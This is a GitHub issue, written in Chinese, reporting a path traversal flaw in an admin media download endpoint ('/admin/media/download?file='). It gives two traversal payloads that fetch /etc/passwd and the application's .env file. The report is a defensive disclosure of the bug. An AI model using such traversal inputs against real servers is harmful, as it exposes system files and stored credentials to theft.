Skip to content

/media/download?file= 允许下载其他目录的文件 #21

@onehumanbeing

Description

@onehumanbeing

在默认的 'disk' => 'public'下:
测试案例: /admin/media/download?file=../../../../../../../etc/passwd
效果:会下载passwd的配置文件
/admin/media/download?file=../../../.env
效果:会下载env文件
虽然可以允许只有超管访问当前目录,但是感觉有点危险

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions